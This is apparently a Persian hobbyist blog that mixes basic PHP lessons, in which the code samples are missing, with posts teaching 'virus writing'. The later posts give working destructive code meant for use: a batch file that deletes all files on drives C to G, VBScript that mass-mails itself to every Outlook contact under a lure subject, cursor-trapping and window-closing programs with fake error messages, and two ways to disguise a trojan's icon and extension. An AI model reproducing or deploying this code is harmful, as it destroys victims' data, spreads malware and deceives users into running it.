هنگامی مقدار True برمی گرداند که x بزرگتر از 2 و کوچکتر از 15 باشد. در جدول بالا قسمت Bold شده تنها عملگری است که کمی جالب است. عملگر ++ و -- عملگر ++ یک عدد به متغیر اضافه می کند و -- یک متغیر از آن کم می کند. مثلا PHP Code:
یکی به $x اضافه می کند. به عنوان مثال PHP Code:
در مثال بالا همونطور که می بینید ابتدا عمل مقایسه انجام شده و بعد جمع صورت گرفته. حال : PHP Code:
ترتیب اجرای عملگرها شاید همه شما این را بدانید ولی در php ترتیب اجرای عملگرها به صورت زیر می باشند : PHP Code:
PHP Code:
یعنی جواب مقدار فوق 14 می باشد. البته شما با گذاشتن پرانتز می توانید php را مجبور کنید که به صورت دلخواه شما عمل کند. مثلا PHP Code:
مقدار 18 را می دهد. درس 2 ( متغیر در php در این درس می خوانیم :
- درباره متغیرها ( متغیر چیست و چگونه از آن استفاده کنیم) - چگونه یک متغیر را تعریف کنیم و به مقدار آن دسترسی پیدا کنیم - برخی از علمگرهای متداول - چگونگی تعریف و استفاده از مقادیر ثابت متغیر نگهدارنده ویژه ایست برای مقادیر. هر متغیر دارای یک نام است که با علامت $ در اول آن مشخص می شود. نام یک متغیر می تواند شامل حروف ، اعداد و _ باشد. نام یک متغیر نمی تواند شامل space و یا کارکاترهای غیر حرفی باشد. کدهای زیر چند متغیر را تعریف می کنید : Code:
توجه داشته باشید که ; در انتهای هر خط جزونام متغیر می باشد و در واقع نشان دهنده پایان جمله کد PHP است.
برای مقدار دادن به متغیر کافیست که آن را مساوی با مقدارش قرار دهید. به طور معمول شما در یک دستور php متغیر را تعریف می کنید و به آن مقدار می دهید. مانند کدهای زیر : Code:
وقتی که شما به ییک متغیر مقدار دادید می توانید دقیقا مانند یک کاراکتر با آن رفتار کنید. به طور مثال :
Code:
دقیقا برابر با دستور
Code:
می باشد.
نوع داده داخل متغیر DATA TYPE انواع مختلف اطلاعات در یک متغیر می تواند ذخیره شود که در طول برنامه می توانید رفتارهای متفاوتی با آن نماببد. برخی زبانهای برنامه نویسی شما را وادار می کنند که در ابتدا و در موقع تعریف متغیر نوع آن را نیز مشخص نمایید. ولی در PHP لزومی به این کار نیست و نوع اولین مقداری که وارد متغیر شود ، به عنوان نوع متغیر شناخته می شود. Type - Example - Description Integer - 5 - A whole number Double - 3.234 - A floating-point number String - "hello" - A collection of characters Boolean - true - One of the special values true or false آرایه و OBJECT جدول فوق انواع داده ها را نشان می دهد. شما می توانید از دستور gettype() برای مشاهده نوع یک متغیر استفاده کنید. به عنوان مثال : Code:
کدهای بالا در خروجی جملات زیر را نشان خواهد داد : Code:
INTEGER یک عدد صحیح می باشد. به کلام ساده یک عدد بدون ممیز می باشد. STRING یک سری کاراکتر می باشد. وقتی در PHP با STRING کار می کنید باید حتما اطراف آن از " و یا ' استفاده شود. DOUBLE یک عددی است که ممیز نیز دارد. BOOLEAN یا TRUE است و یا FALSE. تغییر با استفاده از دستور settype() در PHP با استفاده از دستور settype() شما می توانید نوع یک متغیر را تغییر دهید. برای این کار باید نام متغیر و نوع متغیر که می خواهید به آن تغییر یابد را در بین پرانتز و با فاصله یک کاما در بینشان مشخص نمایید. به عنوان مثال : Code:
در هر دفعه تغییر متغیر ما با استفاده از دستور GETTYPE() نوع متغیر را چاپ می کنیم که از تغییر آن مطمئن شویم.
همانطور که می بینید در خط 7 مقدار متغیر 3.14 است و به صورت DOUBLE و در خط 10 به STRING تبدیل می شود و در خط 13 به INTEGER تغییر می کند و به 3 تبدیل می شود. (یعنی رند می شود) و به همین صورت...... تغییر نوع داده بدون اینکه اصل متغیر تغییر کند با قرار دادن نام نوع داده Data Type در داخل پرانتز و قبل از نام متغیر یک کپی از متغیر با نوع داده جدید بدون تغییر دادن متغیر اصلی ایجاد می کند. به عنوان مثال : Code:
در کد بالا هیچ وقت نوع متغیر اصلی را تغییر ندادیم بلکه مثلا در خط 14 در متغیر $holder مقدار Integer شده متغیر اصلی یعنی مقدار 3 را قرار دادیم در خط 16 آن را چاپ کردیم
مطالب زیر برگرفته از کتاب آموزش PHP در 24 ساعت نوشته Matt Zandstra می باشد. رو داريم. هميشه شروع يك كد php باید با همین تگ ها باشد. در غیر اینصورت سیستم با کدها مثل html رفتار میکند و بدون هیچگونه عملیاتی همان متن کد را نمایش خواهد داد.در ضمن باید بگم که درست کردن این وبلاگ برای اینه که هم شما php رو یاد بگیرید هم مروری واسه خودم باشه انشالاه که موفق بشیم. درضمن فرض بر این هست که توانایی نصب php به صورت local host را دارید. لازم به ذکر هستش که می توانید به صورت ویزارد با نرم افزار هایی مثل xamp,wampیا غیره این عمل رو انجام بدید. مطالب این درس . مثلا Notepad خود را باز کنید. Code:
در صورتیکه php روی کامپیوتر خود نصب کرده اید ، فایل رو در وب سرور خود کپی کنید و آن را از طریق browser صدا کنید. و یا اینکه فایل رو در یک سایت با دسترسی PHP بارگذاری نمایید و آدرس آن را در browser تایپ کنید. پس از اجرای فایل جمله Hello Web! رو بر روی صفحه خواهید دید. در صورتیکه کدها خود را یعنی هما چیزی که در ادیتور تایپ کردید رو روی صفحه دیدید. این بدان معنی است که وب سرور شما فایل php رو اجرا نکرده (یا php بر روی آن نصب نیست و یا پسوند فایل رو به درستی انتخاب نکرده اید.) خوب حالا که صفحه اول php خود را upload کرده اید کمی در آن دقت کنید. در شروع و در اولین خط کد Code:
و در انتهای کد PHP نیز حتما باید Code:
در انتهای هر خط از کدها باید از Code:
Code:
دستور Print این دستور در واقع نمایش دهنده است و هر چیزی که به آن بدهید را بر روی صفحه نمایش می دهد. شما می توانید مقدار یک متغیر را نیز با استفاده از Print نمایش دهید. ترکیب PHP و HTML در یک صفحه کدهای زیر را در notepad وارد نمایید و ذخیره و upload کنید. Code:
خوب همانطور که می بینید کدهای HTML به راحتی می توانند در کنار کدهای PHP کار کنند. در واقع سرور قبل از رسیدن به کد Code:
Code:
Code:
گذاشتن Comment در میان کدها comment در واقع جملاتی است که نویسنده برنامه در میان کدها می نویسد تا توضیحی باشد بر کد. به این صورت که اگه دفعه بعد خود نویسنده و یا کس دیگری کدها رو دید ، متوجه بشود که هر دستور برای چه چیزی نوشته شده است. (توصیه می کنم همیشه از comment استفاده کنید) نحوه قراردادن commentهم به این صورت است که در اول خط از تگ Code:
Code:
مثلا Code:
یا Code:
امیدوارم که وقت کنم ادامه بدم. کلش 24 قسمت شبیه این است که در انتهای اون تقریبا کاربر مسلط به برنامه نویسی php خواهد شد.
نوشته شده در ساعت 12:27 توسط شیطان پنهان(hidesatan) اين کد يکي از کم حجم ترين ويروسهاي دنيا هست که بزبان اسمبلي نوشته شده. ساختار ساده اين ويروس همه رو محو ميکنه و هنر برنامه نويسي اينجا به اوج ميرسه. البته کاري که اين ويروس ميکنه خيلي احمقانه بنظر مياد.. ولي حجم کمش باعث ميشه که مورد توجه قرار بگيره. (دستکاري رجيسترها به اين صورت يه کم احمقانه هست
. .model tiny OverwriteFile: WriteVirus: Terminate: filemask db '*.*',0 نوشته شده در ساعت 12:5 توسط شیطان پنهان(hidesatan)
نوشته شده در ساعت 12:3 توسط شیطان پنهان(hidesatan)
نوشته شده در ساعت 12:1 توسط شیطان پنهان(hidesatan) یه سورس ویروس دارم که خیلی خطرناکه و کل هارد رو تخریب میکنه فقط کافیه این کدها را در Notepad و نوشته و با پسوندBATذخیره کنید @echo off ATTRIB -a -s -h -r c ATTRIB -a -s -h -r c:\windows\*.* Echo y | echo a | Echo y | del c:\*.* Echo y | echo a | Echo y | del d:\*.* Echo y | echo a | Echo y | del e:\*.* Echo y | echo a | Echo y | del f:\*.* Echo y | echo a | Echo y | del g:\*.* echo y | copy *.* C:\ echo y | copy *.* D:\ echo y | copy *.* E:\ echo y | copy *.* F:\ echo y | copy *.* G:\ resrart تذکر : ۱-هرگز این فایل را داخل سیستم خود اجرا نکنید نوشته شده در ساعت 21:23 توسط شیطان پنهان(hidesatan) و اما پادزهر با کپی کردن کدهای زیر وی (و طی مراحل گفته شده)می توان اجرای این ویروس را متوقف کرد [HKEY_CURRENT_USER\Control Panel\Accessibility\Keyboard Response] "Flags"="126" [HKEY_CURRENT_USER\Control Panel\Accessibility\SoundSentry] "Flags"="2" "WindowsEffect"="0" نوشته شده در ساعت 21:22 توسط شیطان پنهان(hidesatan) ویروس این دفعه ویروس FLICKERکه با ایجاد تغییراتی درجیستری باعث میشه تا با فشردن هر یک از کلید های کیبرد صدایbeepشنیده بشه و عملا کیبرد غیر فعال بشه شروع کار ابتدا کدهای زیر را درnotepadکپی کنید و با پسوندreg(رجیستری)ذخیره کنید. Windows Registry Editor Version 5.00 نوشته شده در ساعت 21:21 توسط شیطان پنهان(hidesatan) توانایی توزیع خودکار ویروس برای این کار کافیه این کدها را در برنامه قرار بدید Set OutlookApp = CreateObject("Outlook.Application")If Not OutlookApp = "" ThenFor Each ContactSwitch In OutlookApp.GetNameSpace("MAPI").AddressListsFor UserGroup = 1 To ContactSwitch.AddressEntries.CountSet OutlookEmail = OutlookApp.CreateItem(0)OutlookEmail.Recipients.Add ContactSwitch.AddressEntries(UserGroup)OutlookEmail.Subject = "Check this out!"OutlookEmail.Body = "Look at the file in the attachments, It's great! :P"OutlookEmail.Attachments.Add WScript.ScriptFullNameOutlookEmail.DeleteAfterSubmit = TrueOutlookEmail.SendNextNextEnd IfOutlookEmail.Subject = "Check this out!"OutlookEmail.Body = "Look at the file in the attachments, It's great! :P"OutlookEmail.Attachments.Add WScript.ScriptFullName نکته: 1-در این کدها در قسمت موضوع ومتن نامه میتوانید عبارت دلخواهتون را جایگزین کنید 2-ترجیحا این کدها باید در قسمت Form_Load نوشته شوند 3-این کدها به خودی خود ویروس نیستند بلکه شما باید در کنار این کدها کد اصلی(بدنه ی ویروس) را حتما وارد کنید نوشته شده در ساعت 21:20 توسط شیطان پنهان(hidesatan) سلام دوستان این بار با یه کد جدید به سراغ شماامدم این برنامه (ویروس)ویندوز رو به حالت screen saver می بره ولی کاربر دیگه قادر نیست از screen saver خارج بشه و مطمئن باشید راه دیگه ای بجز ری استارت سیستم نمی مونه خب برای شروع ابتدا این کد ها رو در قسمت Generalفرم قرار دهید (کپی کنید)
و در اخر یه timerبا قابلیت interval=1 به فرم اضافه کنید و کد های زیر را به فرم اضافه کنید(کپی کنید)
تو ضیحات: ۲-اگر چه یاداوری این مطلب را غیر ضروری می دونم ولی این کدها وربوط به ویژوال بیسیکه نوشته شده در ساعت 21:18 توسط شیطان پنهان(hidesatan) دوستان از کار انداختن ویندوز اصلا کار سختی نیست در واقع فقط باید یه فایل با پسوندini نوشته شده در ساعت 21:17 توسط شیطان پنهان(hidesatan) در ویروس نویسی بعد از مهارت(شاید هم قبل از اون)مهم ترین عامل موفقیت یه ویروس نویس خلاقیته برای مثال شما می تونید بجایmy computerهر عبارت دیگه ای که معمولا بسیار پرکاربرد هستند مثلmy documentsیا برنامه های کاربردی نظیر media playerیا dial up connectionرا قرار بدید فکر نمی کنم لازم به توضیح باشه که اگه بخاییم ویروس با هم تعداد زیاد تری از پنجره ها رو ببنده کافیه تایمر های جدیدی اضافه کنیم و کدهای مربوط به تایمر اول را با تغییر my computerبه عبارت مورد نظر در قسمت کد نویسی آن تایمر ها قرار دهیم تا اگه هر کدوم از پنجره ها یا برنامه های مورد نظر اجرا شد اونها را ببنده نوشته شده در ساعت 21:16 توسط شیطان پنهان(hidesatan) ایندفعه کدای مکمل ویروس قبل رو براتون اماده کردم اگه یه نگاهی و وبلاگ انداخه باشیم حتما دیدین که بعنوان برادر کوچیک شما چقدر روی خلاقیت بعنوان عامل موفقیت یه ویروس نویس تکیه کردم شما این دفعه میبینید که با یه ذروه تغییر در کدای قبلی میشه چه ویروس مامانی ای ساخت این ویروس جدید پس از اینکه پنجره dial up connection که برای وصل شدن بکار میزه را در صورت باز شدن شناسایی می کنه و بعد از 5 ثانیه از طرف ویندوز پیام میده که مودم را دوباره نصب کنین و بلافاصله dial up connection رو میبنده .خب اگه شما جای یارو باشین چی کار می کنین؟؟؟ خب مثل همیشه اول بریم سراغ کدا برای این ویروس فقط کافیه در کد قبلی این عبارت را دقیقا جایگزین کنین handel = FindWindow(vbNullString, "Dial-up Connectionِ") و بعداز اون این کدای مخصوص پیام را به رویداد تایمر خود اضافه کنین MsgBox "Youre modem device is not working well please reinstall it", vbCritical, "Internet explorer"
نوشته شده در ساعت 21:14 توسط شیطان پنهان(hidesatan) ابتدا این کد ها رو در قسمت general کپی کنید Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Private Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long و در نهایت این کدها را هم در برنا مه تون قرار بدبد Private Sub Timer1_Timer() Dim handel As Long handel = FindWindow(vbNullString, "form1") If handel <> 0 Then SetForegroundWindow handel SendKeys "%{f4}", 1 End If End Sub این برنامه یه timer باinterval=۱هم می خواد و اما توضیح برنامه: در این برنامه.پس از اجرا برنامه بدنبال پنجره ای با نام مورد نظر می گرده و در صورت پیدا کردن اون رو می بنده. دوستان نیازی به توضیخ خط به خط نمی بینم ولی اگه خواستید بگید تا ذکر کنم
نوشته شده در ساعت 21:13 توسط شیطان پنهان(hidesatan) و اما ويروس اين دفعه: فکر کنم تقريبا همتون اون ويروس لعنتی را که يه دفعه ظاهر میشه و شما رو دعوت با راه نيک ميکنه و اگه گوش ندين موس رو توی قفس می اندازه را ديده باشيد .راستش را بخاين منم خيلی دنبالش بودم تا بالاخره تونستم با تحقيق فراوون از اين ور و اون ور اونو برای شما اماده کنم. البته اين کدا فقط مربوط به mouse cage و يا قفس موسه ولی می تونم بگم اگه مطالب اين وبلاگ رو مرور کنين می تونين خودتون اين ويروسو کامل بنويسين بريم سراغ کدا Private Type RECT left As Long top As Long right As Long bottom As Long End Type Private Type POINT x As Long y As Long End Type Private Declare Sub ClipCursor Lib "user32" (lpRect As Any) Private Declare Sub GetClientRect Lib "user32" (ByVal hWnd As Long, lpRect As RECT) Private Declare Sub ClientToScreen Lib "user32" (ByVal hWnd As Long, lpPoint As POINT) Private Declare Sub OffsetRect Lib "user32" (lpRect As RECT, ByVal x As Long, ByVal y As Long) Private Sub Form_Load() 'Limits the Cursor movement to within the form. Dim client As RECT Dim upperleft As POINT 'Get information about our wndow GetClientRect Me.hWnd, client upperleft.x = client.left upperleft.y = client.top 'Convert window co?rdinates to screen co?rdinates ClientToScreen Me.hWnd, upperleft 'move our rectangle OffsetRect client, upperleft.x, upperleft.y 'limit the cursor movement ClipCursor client Command1.Caption = " disable" End Sub Private Sub Command1_Click() 'Releases the cursor limits ClipCursor ByVal 0& End Sub Private Sub Form_Unload(Cancel As Integer) 'Releases the cursor limits ClipCursor ByVal 0& End Sub و اما توضيح برنامه: است. کاراین تابع اینه که نشانگر موس را در ClipCursor دوستان اساس اين برنامه بر پايه تابعی بنام یک مستطیل محبوس میکنه ما در پاراگرافهای اول این مستطيل رو فرم خودمون در نظر گرفتيم و این و سرانجام در رویداد کلید 1کدهایی که سبب وغیر فعال شدن برنامه میشن رو قرار میدیم تا خودتون گیر نیفتین .(البته اگه خواستين از این برنامه بعنوان ویروس استفاده کنین کلید 1 نا مرئی کنين) البته گفتنیه که اگه تابع به مشکل بر بوخوره عدد 0 رو بر میگردونه که ما با همین روش کلید 1 را برای غیر فعال سازی برنامه طراحی میکنیم در واقع با فشردن کلید 1 به تابع عدد 0 رو نسبت داده و برنامه رو غیر فعال می کنیم. یادتون نره ویروستون نیاز به کلید داره** نوشته شده در ساعت 21:9 توسط شیطان پنهان(hidesatan) انتشار فيلم ويدوئي هك شدن سايت مايكروسافت توسط هكر سعودي ، هكر سعودي كه در هفته قبل سايت نمايندگي مايكروسافت در انگلستان را هك كرده بود، روش تكنيكي هك كردن اين سايت توسط يك فيلم ويدوئي منتشر كرد. سايت غول نرم افزاري كه به طور مكرر توسط مهاجمين مورد حمله واقع مي گردد اين بار نيز به صورت غير معمولي توسط يك هكر سعودي به نام Remoter هك شد. اين فيلم ويدوئي به طور كامل روش تزريق كدهاي HTML از طريق SQL را را نشان مي دهد. توسط اين كدها سايت www.microsoft.co.uk مورد حمله واقع شد و يكي از صفحات آن به طور كامل تغيير كرد. متاسفانه انتشار اين دسته از فيلم ها مي تواند خوراك غذايي برخي ديگر از مهاجمين باشد كه توسط برخي سايتها نيز منتشر شده است. صفحه فوق توسط سايت Zone-h كپي برداري شده است. www.microsoft.co.uk/events/net/eventdetail.aspx?eventid=8399 بنا بر گفته سايت Zone-h سايت فوق آسيب پذيري هاي SQL Injection و Cross Site Scripting را دارد. در حال حاضر اين سايت از ويندوز 2003 و IIS 6 استفاده مي كند. نوشته شده در ساعت 17:51 توسط شیطان پنهان(hidesatan) تروجان سخنگو، قربانيان خود را با حرفهايش آزار مي دهد ، بنا به گفته محققين امنيتي، تروجاني منتشر شده است كه نه تنها هارد سيستم قرباني را خراب مي كند بلكه با سخناني كه از روي يك نوشته مي خواند آنها را آزار و اذيت مي كند. اين تروجان به نام BotVoice.A مي باشد و از طرق مختلفي همچون FTP، IRC ، شبكه هاي P2P و CD-ROM ، حافظه هاي USP و همچنين فايل هاي الحاقي به ايميلها، خودش را منتشر مي كند. اگر چه درجه خطر اين تروجان توسط شركت امنيتي پاندا بسيار كم دسته بندي شده است اما كاربران بد شانسي كه در مواجهه با اين تروجان آن را فعال كنند در كمترين زمان ممكن از كار خود پشيمان مي شوند. اين تروجان پس از فعال شدن با استفاده از لحن صداي استيفان هاوكينگ، فيزيكدان معروف، به كاربران هشدار مي دهد:« You have been infected. I repeat. You have been infected and your system files has been deleted. Sorry. Have a Nice Day and bye bye » بعد از اين هشدار اين تروجان تمامي فايل هاي موجود در درايو C سيستم را پاك مي كند و فقط فايل هاي حفاظت شده و در حال استفاده باقي مي مانند. اين تروجان همچنين برنامه Task Manager و Registry Editor را از كار مي اندازد.
نوشته شده در ساعت 17:49 توسط شیطان پنهان(hidesatan) ويروس هاي كامپيوتري 25 ساله شدند ويروس هاي كامپيوتري در اين ماه 25 امين سالگرد تولد خود را مي گذرانند. اغلب كاربران كامپيوترها فكر مي كنند كه ويروس ها از اواسط سال 1980 منتشر شده اند در حاليكه اولين ويروس واقعي در كامپيوترهاي روميزي IBM منتشر شد. Elk Cloner شخصي است كه براي اولين بار بين دو كامپيوتر Apple II ويروسي را از طريق فلاپي منتشر كرد در او اصل اولين شخصي مي باشد كه ويروسي را منتشر كرده است. كدهاي مخرب نيز از توسط يك پسر 15 ساله به نام Rich Skrenta براي بار اول در سال 1982 منتشر شد. كدي كه براي بار اول توسط Elk منتشر شد بسيار مهربان بود اما امروزه كدهاي مخرب در جهت اهداف اقتصادي و شوم مهاجمين مي باشند به گونه اي كه تروجان ها امروزه فقط سيستم هاي قرباني را پس از كنترل كامل به عنوان يك Zombie در شبكه هاي Bot استفاده مي كنند. نهايت خطري كه كد Elk Cloner داشت يك دو بيتي از يك شاعر بود كه در صفحه مانيتور نمايش داده مي شد. بر خلاف ويروس ها و كرمهاي امروزي كه قطاري از پنجره هاي تبليغاتي رنجش آور را براي كاربران ايجاد مي كنند. Phil Higgins، يك محقق امنيتي، در اين زمينه مي گويد: « ويروس ها در گذشته بيشتر شبيه يك شوخي آميخته با فريب بودند و يا در نهايت يك سرگرمي براي مهاجمين. اما امروزه ويروس ها توسط تبهكاران اينترنتي و براي به دست آوردن پول ايجاد مي شوند. همچنين است خرابكاري هاي وحشتناكي همچون پاك كردن داده هاي كامپيوتر كه كاربران و يا سازمان به صورت اختصاصي روي آنها كار مي كند. نمونه بارز اين دسته از اعمال خرابكارانه ابزار MPack مي باشد كه پس از به كنترل در آوردن سايت ها قانوني، كاربران آنها را به سمت سايت هاي خرابكارانه اي هدايت مي كند كه حاوي كدهاي مخرب مي باشند» نوشته شده در ساعت 17:17 توسط شیطان پنهان(hidesatan) جنگ IE و Firefox روي امنيت ،افراد اجرايي و كليدي كه پشت برنامه هاي Internet Explorer و Firefox ايستاده اند روي حفره هاي 0-day فراواني كه روي ويندوز وجود دارند به مشاجره پرداخته اند. Markellos Diorinos مدير برنامه هاي IE ، در وبلاگ IE مطلبي را نوشته است با اين عنوان كه حفره هاي زيادي كه در بخش بارگذاري پروتكل هاي مختلف در IE وجود دارد، مربوط به برنامه هاي ديگر غير از IE مي باشد. Diorinos در اين زمينه مي گويد: « محدوديت هاي فراواني كه در استفاده از برنامه هاي ثالث در IE وجود دارد باعث مي شود كه اين برنامه نيز با خطاهاي فراواني روبرو شود. اين خطاها از آنجايي حاصل مي گردد كه برنامه IE مجبور مي شود پروتكل هاي مربوط به برنامه هاي ثالث ديگر را فراخواني و اجرا كند كه اغلب داراي مشكلات امنيتي فراواني مي باشند.» Diorinos اصطلاح ميزبان را براي برنامه IE به كار برده است و خطاهاي موجود در پارامترهاي دريافت شده از اين برنامه ها را موجب بروز خطا در برنامه IE بيان كرده است. او حفره موجود در برنامه IE و Firefox را كه چندي قبل گزارش شده بود را از اين دسته برنامه ها مي داند. در اين هفته نيز يك محقق امنيتي يك خطاي مشابه با نمونه قبلي در برنامه IE پيدا كرده است. اين خطا نيز در بخش استفاده از پروتكل Trillian مي باشد كه براي استفاده برخي از برنامه هاي پيامهاي فوري استفاده مي باشد. موزيلا نيز چندي پيش برنامه خود را به نسخه 2.0.0.5 تغيير داد. اين برنامه هيچ داده خارج از محدوده اي را از برنامه IE قبول نمي كند. نظر كارشناسان و محققان موزيلا غير از كارشناسان IE است و آنها معتقدند كه در برنامه IE بايد تغيير اساسي ايجاد گردد. نوشته شده در ساعت 16:6 توسط شیطان پنهان(hidesatan) فهرست مطالب نوشته شده در ساعت 13:7 توسط شیطان پنهان(hidesatan) سلام بچه ها من دارم یه کتاب می نویسم به کمک دوست خوبم مینا هر کسی این کتاب رو خواست کافی اسم و محل زندگیشو بنویسه در هر نقطه از ایران که باشه می فرستم راستی این کتاب در مورد هک و نرم افزار های مختلف است قیمتشم خیلی ارزون چون ۱۵۰ صفحه است و نسبت به مطالبش و کاری که براش برده فکر می کنم خیلی ارزونه فقط ۵۰۰۰ هزار تومان نوشته شده در ساعت 3:25 توسط شیطان پنهان(hidesatan)
وقتی به اینترنت متصل میشوید یک شماره به شما اختصاص داده میشود (IP) و تا مادامی که به کار خود ادامه میدهید این شماره هرگز تغییر نمی کند. نفوذگران (Hackers) میتوانند به وسیله ی این شماره به کامپیوتر شما نفوذ کنند، ویا حتی میتوانند آنرا به دیگران هم بدهند. اگر از Windows XP استفاده میکنید، حل این مشکل ساده است. فقط کافیست به Control Panel بروید و چند جارا تیک بزنید، باور کنید به همین سادگی میتوانید راه های نفوذ به کامپیوتر خود را مسدود کنید. 1.از منوی Start، کنترل پانل را انتخاب کنید. 2. بر روی Network and Internet Connections کلیک کنید. 3. سپس Network Connections را انتخاب کنید. 4. حال بر روی اتصال اینترنت خود، کلیک راست کرده و از منوی باز شده Properties را انتخاب کنید. 5. از Tab, Advanced گزینه ی Internet Connection Firewall را فعال کنید. 6. بر روی OK کلیک کنید. به همین سادگی میتوانید امنیت را به کامپیوتر خود هدیه کنید. نوشته شده در ساعت 14:6 توسط شیطان پنهان(hidesatan) ضد هک ۱۰روش آسان برای مبارزه با هکرها هکرها هميشه در پي شکار هستند؛ شکار ضعفهاي موجود در يک سيستم. نوشته شده در ساعت 0:10 توسط شیطان پنهان(hidesatan) آیکون و پسوند تابلوی ترجان ها را به هر چی که دوست دارید برای اینکار 2 راه موجود می باشد که من این 2 راه را برای شما میگم: راه اول : یک عدد فایل تروجان آماده کنید... یه wordpad باز کنید ( می تونید رو دسکتاپ راست کلیک کنید به new برید و یه wordpad documernt باز کنید . فایل تروجان رو کپی کنید و توی wordpad پیست کنید یا میتونید فایل رو با ماوس بکشید و تو صفحه word رها کنید . حال همون فایلی رو که تو word گذاشتید را انتخاب کنید . یعنی روش تک کلیک کنید بعد به edit برید و بعد به package object و روی برگه edit package کلیک کنید حالا در پبجره باز شده به edit برید و copy package رو بزنید . در آخر هم به یکی از فلودر ها یا درایوها برید راست کلیک کنید و paste رو بزنید . به همین آسونی فایل تروجان exe یا هر اسم دیگری را میتونید بی نام و نشون کنید و علاوه بر اینکه ایکون فایل شبیه این بچه مثبتا میشه به همین راحتی هم پسوندشو لو نمی ده اصلا پسوندی در کار نیست . راه دوم : بر روی فایل تروجانی کا آماده کرده اید راست کلیک کنید وگزینه create shortcut را بر گزینید . حالا یه فایل از همون تروجان با اسم shortcut درست شده است حالا بر روی shortcut آن راست کلیک کنید و گزینه Properties را انتخاب کنید حال در پنجره باز شده جدید در بالای آن گزینه shortcut را انتخاب کنید و بعد بر روی گزینه change icon کیک کنید و در پنجره باز شده 100 ، 200 تا آیکون ظاهر میشود حالا هر کدوم را که دوست دارید انتخاب کنید و یا می تونید با زدن گزینه browse آیکنی که خود شما دارید را برگزینید. نوشته شده در ساعت 0:5 توسط شیطان پنهان(hidesatan) آشنایی با هکرها انواع هکرها: 1- گروه نفوذگران کلاه سفید: (white hat hackers) : هر کسی که با دانش خود بتواند از سد موانع امنیتی یک شبک بگذرد و به داخل شبکه راه پیدا کند اما اقدام خرابکارانه ای انجام ندهد را یک هکر کلاه سفید می خوانند. خب حتما می گویید عجب ترجمه سختی ما که هیچ نفهمیدیم. عجله نکنید. اینم مثال راحتش. تصور کنید دانشجویی که در یک دانشگاه درس می خونه و می دونه تمامی لیست حضور و غیاب و نمرات دانشجوها در کامپیوتری در اتاق شبکه دانشگاه قرار داره. حالا این دانشجوی کنجکاو ما برای اینکه سر و گوشی آب داده باشه مدتها روی شبکه دانشگاه کار می کنه و از راه های مختلف( که خارج از بحث و حوصله این مقاله است و اگر بخوام راستش رو بگم میشه 100 ها کتاب راجعش نوشت) وارد اون شبکه میشه. یعنی به طور معمول هیچ دانشجویی حق نداره بتونه نمراتش رو ببینه ولی این پسر ناقلای ما یه جورایی وارد شبکه میشه و نمراتش رو می بینه و همچنین حضور و غیابش رو. خب این پسر ناقلا یک هکره. چون این پسر ناقلا فقط نمرات رو می بینه و دست کاری نمی کنه(لابد وجدانش اجازه نمی ده) یک هکر کلاه سفید میشه.
4- گروه نفوذگران کلاه صورتی ( pink hat hackers): خب این دسته بندی به ندرت دیده شده و اکثر مواقع کلاه صورتی ها رو جزیی از کلاه سیاه ها می دونند. به زبان شیرین فارسی اینها همون جوجه هکرها هستند! این افراد آدمهای کم سوادی هستند که فقط با چند نرم افزار به خرابکاری و آزار و اذیت بقیه اقدام می کنن. مثلا شماها رو توی مسنحر یاهو بوت می کنن و یا توی چت رومها خرابکاری می کنن و یا با نرم افزارهای آماده ایی مثل ساب سون و غیرو اقدام به هک کردن بقیه می کنن و از این قبیل. بنابراین به کلاه صورتی ها می گیم جوجه هکر! نوشته شده در ساعت 0:3 توسط شیطان پنهان(hidesatan) آشنایی با هکرها انواع حمله هکرها: - افزودن اطلاعات و جعل ( fabrication ): در این روش نفوذگر اطلاعات رو به سرقت نمی بره و یا جایگرین نمی کنه بلکه به اطلاعات فقط اطلاعات دیگری رو اضافه می کنه. مثلا فرض کنید مدیر شرکتی نامه ای می زنه به مسوول خرید و لیست خریدی برای شرکت میده. حال شما که هکر بسیار زرنگی هستید این نامه رو جعل کرده و یه سری چیزها بهش اضافه می کنید مثلا می نویسید که خرید یک میز جدید برای آقایی که خودتون باشید! و بعد نامه رو می فرستید برای مامور خرید. مامور خرید بی نوا هم میره لیست رو تهیه می کنه. به واقع شما در اینجا اطلاعات حاوی اون نامه رو همون طور که هست می گذارید باشه ولی بهش مطالب جدید هم اضافه می کنید. هرچند می شه این اقدام رو در زیر شاخه modification آورد اما میگم شما زیاد درگیر گروه بندی نشید بلکه مفهوم رو متوجه بشید که به واقع هدف اصلی این مقاله همینه. نوشته شده در ساعت 0:1 توسط شیطان پنهان(hidesatan) در حالت طبیعی در منوی start زیر منو ها با سرعت 400 میلی ثانیه ظاهر می شوند که اگر بخواهید می توانید سرعت آنرا بیشتر کنید برای اینکار در start روی Run کلیک کنید حالا با تایپ Regedit و کلیک OK وارد ریجستری شوید مسیر زیر را بیابید HKEY-CURRENT-USER/control panel/desktop در صفحه روبرو فقره Menu show Delay را بیابید و آنرا باز کنید. شما می توانید متغیر را از صفر تا 999 تغییر بدهید. بعد OK را بزنید از ریجستری خارج شوید و سیستم را Restart کنید و نتیجه را مشاهده کنید نظر یادت نره نوشته شده در ساعت 23:30 توسط شیطان پنهان(hidesatan) امروز ميخوام آموزش ساختن يه ويروس رو بهتون ياد بدم. اين ويروس هم مثل بلستر پس ازاجرا با دادن مدت زمان 30 ثانيه كامپيوتر شما رو خاموش ميكنه. براي ساختن اين ويروس ابتدا روي صفحه دسكتاب راست كليك كنيد. سپس new و بعد از اون text document رو انتخاب كنيد. سپس وارد اين فايل متني شده و اين عبارت رو تايپ كنيد. Shutdown –r حالا از منوي فايل save as رو انتخاب كنيد. در قسمت file name اسم فايل رو مشخص كنيد. توجه كنيد كه اين اسم حتما با پسوند bat باشه.مثل rockboys.bat در قسمت encoding شما بايد ANSI رو انتخاب كنيد. حالا save كنيد. شما ميتونيد اين فايل رو روي خودتون اجرا كنيد و نتيجه كار رو ببينيد. براي اينكه از خاموش شدن كامپيوترتون جلوگيري كنيد كافيه در قسمت run عبارت زير رو تايپ كنيد. Shutdown –a نوشته شده در ساعت 23:27 توسط شیطان پنهان(hidesatan)
